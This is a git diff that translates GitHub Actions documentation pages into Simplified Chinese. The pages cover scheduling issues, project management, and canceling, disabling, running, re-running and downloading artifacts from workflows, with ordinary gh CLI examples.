+   - 更改 `on.schedule` 的值以指示您希望此工作流程何时运行。 在上面的示例中，工作流将于每周一 7:20 UTC 运行。 有关计划工作流程的更多信息，请参阅“[计划的活动](/actions/reference/events-that-trigger-workflows#scheduled-events)”。
+   - 将 `assignees` 的值更改为您想要分配给此议题的 {% data variables.product.prodname_dotcom %} 用户名。
+   - 将 `labels` 的值更改为您想要应用于此议题的标签列表。
+   - 将 `title` 的值更改为您希望该议题拥有的标题。
+   - 将 `body` 的值更改为您想要用于议题正文的文本。 `|` 字符允许您为此参数使用多行值。
+   - 如果您想要将这个议题固定在您的仓库中，请将 `pinned` 设置为 `true`。 有关置顶议题的更多信息，请参阅“[将议题固定到仓库](/articles/pinning-an-issue-to-your-repository)”。
+   - 如果您想在每次新建议题时关闭此工作流程生成的上一个议题，请将 `close-previous` 设置为 `true`。 工作流程将关闭具有 `labels` 字段中定义的标签的最新议题。 为避免关闭错误的议题，请使用独特的标签或标签组合。
 5. {% data reusables.actions.commit-workflow %}
 
-## Expected results
+## 预期结果
 
-Based on the `schedule` parameter (for example, every Monday at 7:20 UTC), your workflow will create a new issue with the assignees, labels, title, and body that you specified. If you set `pinned` to `true`, the workflow will pin the issue to your repository. If you set `close-previous` to true, the workflow will close the most recent issue with matching labels.
+根据 `schedule` 参数（例如，每周一 7:20 UTC），您的工作流程将使用您指定的受理人、标签、标题和正文创建新议题。 如果您将 `pinned` 设置为 `true`，工作流程会将此议题固定到您的仓库。 如果将 `close-previous` 设置为 true，工作流程将会关闭具有匹配标签的最新议题。
 
 {% data reusables.actions.schedule-delay %}
 
-You can view the history of your workflow runs to see this workflow run periodically. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
+您可以查看工作流程运行的历史记录，以便定期查看此工作流程运行。 更多信息请参阅“[查看工作流程运行历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)”。
 
-## Next steps
+## 后续步骤
 
-- To learn more about additional things you can do with the `imjohnbo/issue-bot` action, like rotating assignees or using an issue template, see the [`imjohnbo/issue-bot` action documentation](https://github.com/marketplace/actions/issue-bot-action).
-- [Search GitHub](https://github.com/search?q=%22uses%3A+imjohnbo%2Fissue-bot%22&type=code) for examples of workflows using this action.
+- 要详细了解可以使用 `imjohnbo/issue-bot` 操作完成的其他事项，如轮换受理人或使用议题模板，请参阅 [`imjohnbo/issue-bot` 操作文档](https://github.com/marketplace/actions/issue-bot-action)。
+- [搜索 GitHub](https://github.com/search?q=%22uses%3A+imjohnbo%2Fissue-bot%22&type=code) 以查看使用此操作的工作流程示例。
diff --git a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
index 6214081a66..d74225b74b 100644
--- a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
+++ b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
@@ -1,6 +1,6 @@
 ---
-title: Using GitHub Actions for project management
-intro: 'You can use {% data variables.product.prodname_actions %} to automate many of your project management tasks.'
+title: 使用 GitHub Actions 进行项目管理
+intro: '您可以使用 {% data variables.product.prodname_actions %} 自动化许多项目管理任务。'
 redirect_from:
   - /actions/guides/using-github-actions-for-project-management
 versions:
@@ -11,34 +11,34 @@ versions:
 type: overview
 topics:
   - Project management
-shortTitle: Actions for project management
+shortTitle: 项目管理操作
 ---
 
 
-You can use {% data variables.product.prodname_actions %} to automate your project management tasks by creating workflows. Each workflow contains a series of tasks that are performed automatically every time the workflow runs. For example, you can create a workflow that runs every time an issue is created to add a label, leave a comment, and move the issue onto a project board.
+您可以创建工作流程以使用 {% data variables.product.prodname_actions %} 自动化项目管理任务。 每个工作流程都包含一系列任务，每当工作流程运行时都会自动执行。 例如，您可以创建一个工作流程，在每次创建议题时运行，以添加标签、 留下评论并将议题移动到项目板。
 
-## When do workflows run?
+## 工作流程何时运行？
 
-You can configure your workflows to run on a schedule or be triggered when an event occurs. For example, you can set your workflow to run when someone creates an issue in a repository.
+您可以配置工作流程以按计划运行或在事件发生时触发。 例如，您可以设置工作流程在有人在仓库中创建议题时运行。
 
-Many workflow triggers are useful for automating project management.
+许多工作流程触发器对项目管理自动化很有用。
 
-- An issue is opened, assigned, or labeled.
-- A comment is added to an issue.
-- A project card is created or moved.
-- A scheduled time.
+- 议题被打开、分配或标记。
+- 议题新增了评论。
+- 项目卡创建或移动。
+- 计划的时间。
 
-For a full list of events that can trigger workflows, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+有关可触发工作流程的事件的完整列表，请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows)”。
 
-## What can workflows do?
+## 工作流程可以做什么？
 
-Workflows can do many things, such as commenting on an issue, adding or removing labels, moving cards on project boards, and opening issues.
+工作流程可以执行许多工作，例如对问题进行评论、添加或删除标签、在项目板上移动卡片以及打开议题。
 
-You can learn about using {% data variables.product.prodname_actions %} for project management by following these tutorials, which include example workflows that you can adapt to meet your needs.
+您可以通过遵循这些教程（包括可以改编以满足您需求的示例工作流程）来了解如何使用 {% data variables.product.prodname_actions %} 进行项目管理。
 
-- "[Adding labels to issues](/actions/guides/adding-labels-to-issues)"
-- "[Removing a label when a card is added to a project board column](/actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column)"
-- "[Moving assigned issues on project boards](/actions/guides/moving-assigned-issues-on-project-boards)"
-- "[Commenting on an issue when a label is added](/actions/guides/commenting-on-an-issue-when-a-label-is-added)"
-- "[Closing inactive issues](/actions/guides/closing-inactive-issues)"
-- "[Scheduling issue creation](/actions/guides/scheduling-issue-creation)"
+- "[添加标签到议题](/actions/guides/adding-labels-to-issues)"
+- "[当卡片添加到项目板列时删除标签](/actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column)"
+- "[在项目板上移动分配的议题](/actions/guides/moving-assigned-issues-on-project-boards)"
+- "[在添加标签时评论议题](/actions/guides/commenting-on-an-issue-when-a-label-is-added)"
+- "[关闭不活跃的议题](/actions/guides/closing-inactive-issues)"
+- "[计划议题创建](/actions/guides/scheduling-issue-creation)"
diff --git a/translations/zh-CN/content/actions/managing-workflow-runs/canceling-a-workflow.md b/translations/zh-CN/content/actions/managing-workflow-runs/canceling-a-workflow.md
index f976787c52..3391d3201e 100644
--- a/translations/zh-CN/content/actions/managing-workflow-runs/canceling-a-workflow.md
+++ b/translations/zh-CN/content/actions/managing-workflow-runs/canceling-a-workflow.md
@@ -1,6 +1,6 @@
 ---
-title: Canceling a workflow
-intro: 'You can cancel a workflow run that is in progress. When you cancel a workflow run, {% data variables.product.prodname_dotcom %} cancels all jobs and steps that are a part of that workflow.'
+title: 取消工作流程
+intro: '您可以取消正在运行的工作流程。 当您取消工作流程运行时，{% data variables.product.prodname_dotcom %} 会取消属于该工作流程的所有作业和步骤。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,26 +13,25 @@ versions:
 
 {% data reusables.repositories.permissions-statement-write %}
 
-## Canceling a workflow run
+## 取消工作流程运行
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
-1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.
-![Name of workflow run](/assets/images/help/repository/in-progress-run.png)
-1. In the upper-right corner of the workflow, click **Cancel workflow**.
+1. 从工作流程运行列表中，单击您要取消的`已排队`或`进行中`运行的名称。 ![工作流程运行的名称](/assets/images/help/repository/in-progress-run.png)
+1. 在工作流程右上角单击 **Cancel workflow（取消工作流程）**。
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
- ![Cancel check suite button](/assets/images/help/repository/cancel-check-suite-updated.png)
+ ![取消检查套件按钮](/assets/images/help/repository/cancel-check-suite-updated.png)
 {% else %}
- ![Cancel check suite button](/assets/images/help/repository/cancel-check-suite.png)
+ ![取消检查套件按钮](/assets/images/help/repository/cancel-check-suite.png)
 {% endif %}
 
-## Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run
+## {% data variables.product.prodname_dotcom %} 取消工作流程运行所执行的步骤
 
-When canceling workflow run, you may be running other software that uses resources that are related to the workflow run. To help you free up resources related to the workflow run, it may help to understand the steps {% data variables.product.prodname_dotcom %} performs to cancel a workflow run.
+取消工作流程运行时，您可能正在运行使用与工作流程运行相关的资源的其他软件。 为了帮助您释放与工作流程运行相关的资源，它可能有助于了解 {% data variables.product.prodname_dotcom %} 为取消工作流程运行而执行的步骤。
 
-1. To cancel the workflow run, the server re-evaluates `if` conditions for all currently running jobs. If the condition evaluates to `true`, the job will not get canceled. For example, the condition `if: always()` would evaluate to true and the job continues to run. When there is no condition, that is the equivalent of the condition `if: success()`, which only runs if the previous step finished successfully.
-2. For jobs that need to be canceled, the server sends a cancellation message to all the runner machines with jobs that need to be canceled.
-3. For jobs that continue to run, the server re-evaluates `if` conditions for the unfinished steps. If the condition evaluates to `true`, the step continues to run.
-4. For steps that need to be canceled, the runner machine sends `SIGINT/Ctrl-C` to the step's entry process (`node` for javascript action, `docker` for container action, and `bash/cmd/pwd` when using `run` in a step). If the process doesn't exit within 7500 ms, the runner will send `SIGTERM/Ctrl-Break` to the process, then wait for 2500 ms for the process to exit. If the process is still running, the runner kills the process tree.
-5. After the 5 minutes cancellation timeout period, the server will force terminate all jobs and steps that don't finish running or fail to complete the cancellation process.
+1. 要取消工作流程运行，服务器将重新评估所有正在运行的作业的 `if` 条件。 如果条件评估为 `true`，作业将不会取消。 例如，条件 `if: always()` 将评估为 true，并且作业继续运行。 没有条件时，则等同于条件 `if: success()`，仅在上一步已成功完成时才会运行。
+2. 对于需要取消的作业，服务器向包含需取消作业的所有运行器机器发送取消消息。
+3. 对于继续运行的作业，服务器将对未完成的步骤重新评估 `if` 条件。 如果条件评估为 `true`，则步骤继续运行。
+4. 对于需要取消的步骤，运行器机器发送 `SIGINT/Ctrl-C` 到该步骤的输入进程（`node` 用于 javascript 操作，`docker` 用于容器操作，`bash/cmd/pwd` 则在步骤中使用 `run` 时发送）。 如果进程未在 7500 毫秒内退出，运行器将发送 `SIGTERM/Ctrl-Break` 到此进程，然后等待 2500 毫秒让进程退出。 如果该进程仍在运行，运行器会停止进程树。
+5. 在 5 分钟取消超时期后，服务器将强制终止未完成运行或无法完成取消进程的所有作业和步骤。
diff --git a/translations/zh-CN/content/actions/managing-workflow-runs/deleting-a-workflow-run.md b/translations/zh-CN/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
index 5bdd78e23f..598f60bf51 100644
--- a/translations/zh-CN/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
+++ b/translations/zh-CN/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a workflow run
-intro: 'You can delete a workflow run that has been completed, or is more than two weeks old.'
+title: 删除工作流程运行
+intro: 您可以删除已完成或超过两周的工作流程运行。
 versions:
   fpt: '*'
   ghes: '*'
@@ -16,9 +16,9 @@ versions:
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
-1. To delete a workflow run, use the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, and select **Delete workflow run**.
+1. 要删除工作流程运行，请使用 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} 下拉菜单并选择 **Delete workflow run（删除工作流程运行）**。
 
-    ![Deleting a workflow run](/assets/images/help/settings/workflow-delete-run.png)
-2. Review the confirmation prompt and click **Yes, permanently delete this workflow run**.
+    ![删除工作流程运行](/assets/images/help/settings/workflow-delete-run.png)
+2. 查看确认提示并单击 **Yes, permanently delete this workflow run（是，永久删除此工作流程运行）**。
 
-    ![Deleting a workflow run confirmation](/assets/images/help/settings/workflow-delete-run-confirmation.png)
+    ![删除工作流程运行确认](/assets/images/help/settings/workflow-delete-run-confirmation.png)
diff --git a/translations/zh-CN/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md b/translations/zh-CN/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
index 7d2434b60a..e3a0df7578 100644
--- a/translations/zh-CN/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
+++ b/translations/zh-CN/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
@@ -1,50 +1,43 @@
 ---
-title: Disabling and enabling a workflow
-intro: 'You can disable and re-enable a workflow using the {% data variables.product.prodname_dotcom %} UI, the REST API, or {% data variables.product.prodname_cli %}.'
+title: 禁用和启用工作流程
+intro: '您可以使用 {% data variables.product.prodname_dotcom %} UI、REST API 或 {% data variables.product.prodname_cli %} 禁用并重新启用工作流程。'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Disable & enable a workflow
+shortTitle: 禁用和启用工作流程
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-Disabling a workflow allows you to stop a workflow from being triggered without having to delete the file from the repo. You can easily re-enable the workflow again on {% data variables.product.prodname_dotcom %}.
+禁用工作流程允许您停止触发工作流程，而不必从仓库中删除文件。 您可以轻松地在 {% data variables.product.prodname_dotcom %} 上重新启用工作流程。
 
-Temporarily disabling a workflow can be useful in many scenarios. These are a few examples where disabling a workflow might be helpful:
+在许多情况下，暂时禁用工作流程可能很有用。 以下是禁用工作流程可能有帮助的几个例子：
 
-- A workflow error that produces too many or wrong requests, impacting external services negatively.
-- A workflow that is not critical and is consuming too many minutes on your account.
-- A workflow that sends requests to a service that is down.
-- Workflows on a forked repository that aren't needed (for example, scheduled workflows).
+- 产生请求过多或错误的工作流程错误，对外部服务产生负面影响。
+- 不重要但会耗费您帐户上太多分钟数的工作流程。
+- 向已关闭的服务发送请求的工作流程。
+- 复刻仓库上不需要的工作流程（例如预定的工作流程）。
 
 {% warning %}
 
-**Warning:** {% data reusables.actions.scheduled-workflows-disabled %}
+**警告：** {% data reusables.actions.scheduled-workflows-disabled %}
 
 {% endwarning %}
 
-You can also disable and enable a workflow using the REST API. For more information, see the "[Actions REST API](/rest/reference/actions#workflows)."
+您也可以使用 REST API 禁用和启用工作流程。 更多信息请参阅“[操作 REST API](/rest/reference/actions#workflows)”。
 
-## Disabling a workflow
-
-{% include tool-switcher %}
+## 禁用工作流程
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to disable.
-![actions select workflow](/assets/images/actions-select-workflow.png)
-1. Click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
-![actions kebab menu](/assets/images/help/repository/actions-workflow-menu-kebab.png)
-1. Click **Disable workflow**.
-![actions disable workflow](/assets/images/help/repository/actions-disable-workflow.png)
-The disabled workflow is marked {% octicon "stop" aria-label="The stop icon" %} to indicate its status.
-![actions list disabled workflow](/assets/images/help/repository/actions-find-disabled-workflow.png)
+1. 在左侧边栏中，单击您想要禁用的工作流程。 ![操作选择工作流程](/assets/images/actions-select-workflow.png)
+1. 单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}。 ![操作烤肉串菜单](/assets/images/help/repository/actions-workflow-menu-kebab.png)
+1. 单击 **Disable workflow（禁用工作流程）**。 ![actions disable workflow](/assets/images/help/repository/actions-disable-workflow.png) 禁用的工作流程标记为 {% octicon "stop" aria-label="The stop icon" %} 来表示其状态。 ![操作列表禁用的工作流程](/assets/images/help/repository/actions-find-disabled-workflow.png)
 
 {% endwebui %}
 
@@ -52,7 +45,7 @@ The disabled workflow is marked {% octicon "stop" aria-label="The stop icon" %}
 
 {% data reusables.cli.cli-learn-more %}
 
-To disable a workflow, use the `workflow disable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to disable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+要禁用工作流程，请使用 `workflow disable` 子命令。 将 `workflow` 替换为要禁用的工作流程的名称、ID 或文件名。 例如 `"Link Checker"`、`1234567` 或 `"link-check-test.yml"`。 如果您没有指定工作流程，{% data variables.product.prodname_cli %} 将返回交互式菜单供您选择工作流程。
 
 ```shell
 gh workflow disable <em>workflow</em>
@@ -60,26 +53,22 @@ gh workflow disable <em>workflow</em>
 
 {% endcli %}
 
-## Enabling a workflow
-
-{% include tool-switcher %}
+## 启用工作流程
 
 {% webui %}
 
-You can re-enable a workflow that was previously disabled.
+您可以重新启用以前禁用过的工作流程。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to enable.
-![actions select disabled workflow](/assets/images/help/repository/actions-select-disabled-workflow.png)
-1. Click **Enable workflow**.
-![actions enable workflow](/assets/images/help/repository/actions-enable-workflow.png)
+1. 在左侧边栏中，单击您想要启用的工作流程。 ![操作选择禁用的工作流程](/assets/images/help/repository/actions-select-disabled-workflow.png)
+1. 单击 **Enable workflow（启用工作流程）**。 ![操作启用工作流程](/assets/images/help/repository/actions-enable-workflow.png)
 
 {% endwebui %}
 
 {% cli %}
 
-To enable a workflow, use the `workflow enable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to enable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+要启用工作流程，请使用 `workflow enable` 子命令。 将 `workflow` 替换为要启用的工作流程的名称、ID 或文件名。 例如 `"Link Checker"`、`1234567` 或 `"link-check-test.yml"`。 如果您没有指定工作流程，{% data variables.product.prodname_cli %} 将返回交互式菜单供您选择工作流程。
 
 ```shell
 gh workflow enable <em>workflow</em>
diff --git a/translations/zh-CN/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md b/translations/zh-CN/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
index 4ab8536d23..b5f8cc59c1 100644
--- a/translations/zh-CN/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
+++ b/translations/zh-CN/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
@@ -1,34 +1,32 @@
 ---
-title: Downloading workflow artifacts
-intro: You can download archived artifacts before they automatically expire.
+title: 下载工作流程构件
+intro: 您可以在存档的构件自动过期之前下载它们。
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Download workflow artifacts
+shortTitle: 下载工作流程构件
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-By default, {% data variables.product.product_name %} stores build logs and artifacts for 90 days, and you can customize this retention period, depending on the type of repository. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)."
+By default, {% data variables.product.product_name %} stores build logs and artifacts for 90 days, and you can customize this retention period, depending on the type of repository. 更多信息请参阅“[管理仓库的 {% data variables.product.prodname_actions %} 设置](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)”。
 
 {% data reusables.repositories.permissions-statement-read %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Under **Artifacts**, click the artifact you want to download.
+1. 在**构件**下，单击您想要下载的构件。
     {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down-updated.png)
+    ![下载构件下拉菜单](/assets/images/help/repository/artifact-drop-down-updated.png)
     {% else %}
-    ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down.png)
+    ![下载构件下拉菜单](/assets/images/help/repository/artifact-drop-down.png)
     {% endif %}
 
 {% endwebui %}
@@ -37,27 +35,27 @@ By default, {% data variables.product.product_name %} stores build logs and arti
 
 {% data reusables.cli.cli-learn-more %}
 
-{% data variables.product.prodname_cli %} will download each artifact into separate directories based on the artifact name. If only a single artifact is specified, it will be extracted into the current directory.
+{% data variables.product.prodname_cli %} 将根据构件名称将每个构件下载到单独的目录中。 如果只指定了单个构件, 它将被提取到当前目录。
 
-To download all artifacts generated by a workflow run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run.
+要下载工作流程运行产生的所有构件，请使用 `run download` 子命令。 将 `run-id` 替换为您想要从中下载构件的运行的 ID。 如果您没有指定 `run-id`，{% data variables.product.prodname_cli %} 将返回一个交互式菜单，供您选择最近的运行。
 
 ```shell
 gh run download <em>run-id</em>
 ```
 
-To download a specific artifact from a run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. Replace `artifact-name` with the name of the artifact that you want to download.
+要从运行中下载特定的构件，请使用 `run download` 子命令。 将 `run-id` 替换为您想要从中下载构件的运行的 ID。 使用要下载的构件名称替换 `artifact-name`。
 
 ```shell
 gh run download <em>run-id</em> -n <em>artifact-name</em>
 ```
 
-You can specify more than one artifact.
+您可以指定多个构件。
 
 ```shell
 gh run download <em>run-id</em> -n <em>artifact-name-1</em> -n <em>artifact-name-2</em>
 ```
 
-To download specific artifacts across all runs in a repository, use the `run download` subcommand.
+要从仓库的所有运行中下载特定的构件，请使用 `run download` 子命令。
 
 ```shell
 gh run download -n <em>artifact-name-1</em> -n <em>artifact-name-2</em>
diff --git a/translations/zh-CN/content/actions/managing-workflow-runs/index.md b/translations/zh-CN/content/actions/managing-workflow-runs/index.md
index 257ecba45f..1921ccc0cc 100644
--- a/translations/zh-CN/content/actions/managing-workflow-runs/index.md
+++ b/translations/zh-CN/content/actions/managing-workflow-runs/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing workflow runs
-shortTitle: Managing workflow runs
-intro: 'You can re-run or cancel a workflow, {% ifversion fpt or ghes > 3.0 or ghae %}review deployments, {% endif %}view billable job execution minutes, and download artifacts.'
+title: 管理工作流程运行
+shortTitle: 管理工作流程运行
+intro: '您可以重新运行或取消工作流程、{% ifversion fpt or ghes > 3.0 or ghae %}审核部署、{% endif %}查看可计费作业执行分钟数和下载工件。'
 redirect_from:
   - /actions/configuring-and-managing-workflows/managing-a-workflow-run
   - /articles/managing-a-workflow-run
@@ -25,5 +25,6 @@ children:
   - /downloading-workflow-artifacts
   - /removing-workflow-artifacts
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/zh-CN/content/actions/managing-workflow-runs/manually-running-a-workflow.md b/translations/zh-CN/content/actions/managing-workflow-runs/manually-running-a-workflow.md
index 249fc20534..cc8ea7b1ec 100644
--- a/translations/zh-CN/content/actions/managing-workflow-runs/manually-running-a-workflow.md
+++ b/translations/zh-CN/content/actions/managing-workflow-runs/manually-running-a-workflow.md
@@ -1,37 +1,32 @@
 ---
-title: Manually running a workflow
-intro: 'When a workflow is configured to run on the `workflow_dispatch` event, you can run the workflow using the Actions tab on {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_cli %}, or the REST API.'
+title: 手动运行工作流程
+intro: '当工作流程配置为在发生 `workflow_dispatch` 事件时运行时，您可以使用 {% data variables.product.prodname_dotcom %}、{% data variables.product.prodname_cli %} 或 REST API 上的 Actions 选项卡运行工作流程。'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Manually run a workflow
+shortTitle: 手动运行工作流程
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Configuring a workflow to run manually
+## 配置工作流程手动运行
 
-To run a workflow manually, the workflow must be configured to run on the `workflow_dispatch` event. To trigger the `workflow_dispatch` event, your workflow must be in the default branch. For more information about configuring the `workflow_dispatch` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#workflow_dispatch)".
+要手动运行工作流程，工作流程必须配置为在发生 `workflow_dispatch` 事件时运行。 要触发 `Workflow_spoch` 事件，您的工作流程必须在默认分支中。 有关配置 `workflow_paid` 事件的更多信息，请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows#workflow_dispatch)”。
 
 {% data reusables.repositories.permissions-statement-write %}
 
-## Running a workflow
-
-{% include tool-switcher %}
+## 运行工作流程
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to run.
-![actions select workflow](/assets/images/actions-select-workflow.png)
-1. Above the list of workflow runs, select **Run workflow**.
-![actions workflow dispatch](/assets/images/actions-workflow-dispatch.png)
-1. Use the **Branch** dropdown to select the workflow's branch, and type the input parameters. Click **Run workflow**.
-![actions manually run workflow](/assets/images/actions-manually-run-workflow.png)
+1. 在左侧边栏中，单击您想要运行的工作流程。 ![操作选择工作流程](/assets/images/actions-select-workflow.png)
+1. 在工作流程运行列表上方选择 **Run workflow（运行工作流程）**。 ![操作工作流程调度](/assets/images/actions-workflow-dispatch.png)
+1. 使用 **Branch（分支）**下拉菜单选择工作流程的分支，并键入输入参数。 单击 **Run workflow（运行工作流程）**。 ![操作手动运行工作流程](/assets/images/actions-manually-run-workflow.png)
 
 {% endwebui %}
 
@@ -39,31 +34,31 @@ To run a workflow manually, the workflow must be configured to run on the `workf
 
 {% data reusables.cli.cli-learn-more %}
 
-To run a workflow, use the `workflow run` subcommand. Replace the `workflow` parameter with either the name, ID, or file name of the workflow you want to run. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+要运行工作流程，请使用 `workflow run` 子命令。 将 `workflow` 参数替换为要运行的工作流程的名称、ID 或文件名。 例如 `"Link Checker"`、`1234567` 或 `"link-check-test.yml"`。 如果您没有指定工作流程，{% data variables.product.prodname_cli %} 将返回交互式菜单供您选择工作流程。
 
 ```shell
 gh workflow run <em>workflow</em>
 ```
 
-If your workflow accepts inputs, {% data variables.product.prodname_cli %} will prompt you to enter them. Alternatively, you can use `-f` or `-F` to add an input in `key=value` format. Use `-F` to read from a file.
+如果您的工作流程接受输入，{% data variables.product.prodname_cli %} 将提示您输入它们。 或者，您可以使用 `-f` 或 `-F` 添加 `key=value` 格式的输入。 使用 `-F` 读取文件。
 
 ```shell
 gh workflow run greet.yml -f name=mona -f greeting=hello -F data=@myfile.txt
 ```
 
-You can also pass inputs as JSON by using standard input.
+您也可以使用标准输入以 JSON 的身份传递输入。
 
 ```shell
 echo '{"name":"mona", "greeting":"hello"}' | gh workflow run greet.yml --json
 ```
 
-To run a workflow on a branch other than the repository's default branch, use the `--ref` flag.
+要在仓库默认分支以外的分支上运行工作流程，请使用 `--ref` 标记。
 
 ```shell
 gh workflow run <em>workflow</em> --ref <em>branch-name</em>
 ```
 
-To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list.
+要查看工作流程运行的进度，请使用 `run watch` 子命令，并从交互式列表中选择运行。
 
 ```shell
 gh run watch
@@ -71,8 +66,8 @@ gh run watch
 
 {% endcli %}
 
-## Running a workflow using the REST API
+## 使用 REST API 运行工作流程
 
-When using the REST API, you configure the `inputs` and `ref` as request body parameters. If the inputs are omitted, the default values defined in the workflow file are used.
+使用 REST API 时，应将 `inputs` 和 `ref` 配置为请求正文参数。 如果忽略输入，则使用工作流程文件中定义的默认值。
 
 For more information about using the REST API, see the "[Create a workflow dispatch event](/rest/reference/actions/#create-a-workflow-dispatch-event)."
diff --git a/translations/zh-CN/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md b/translations/zh-CN/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
index 60aff0be96..e25008945e 100644
--- a/translations/zh-CN/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
+++ b/translations/zh-CN/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
@@ -17,9 +17,7 @@ versions:
 
 ## Re-running all the jobs in a workflow
 
-Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) of the original event that triggered the workflow run. You can re-run a workflow for up to 30 days after the initial run. 
-
-{% include tool-switcher %}
+重新运行工作流程使用触发工作流程运行的原始事件的 `GITHUB_SHA`（提交 SHA）和 `GITHUB_REF` (Git ref)。 You can re-run a workflow for up to 30 days after the initial run.
 
 {% webui %}
 
@@ -28,12 +26,10 @@ Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4721 or ghec %}
-1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**
-    ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png)
+1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs** ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png)
 {% endif %}
 {% ifversion ghes < 3.3 or ghae %}
-1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.
-    ![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down-updated.png)
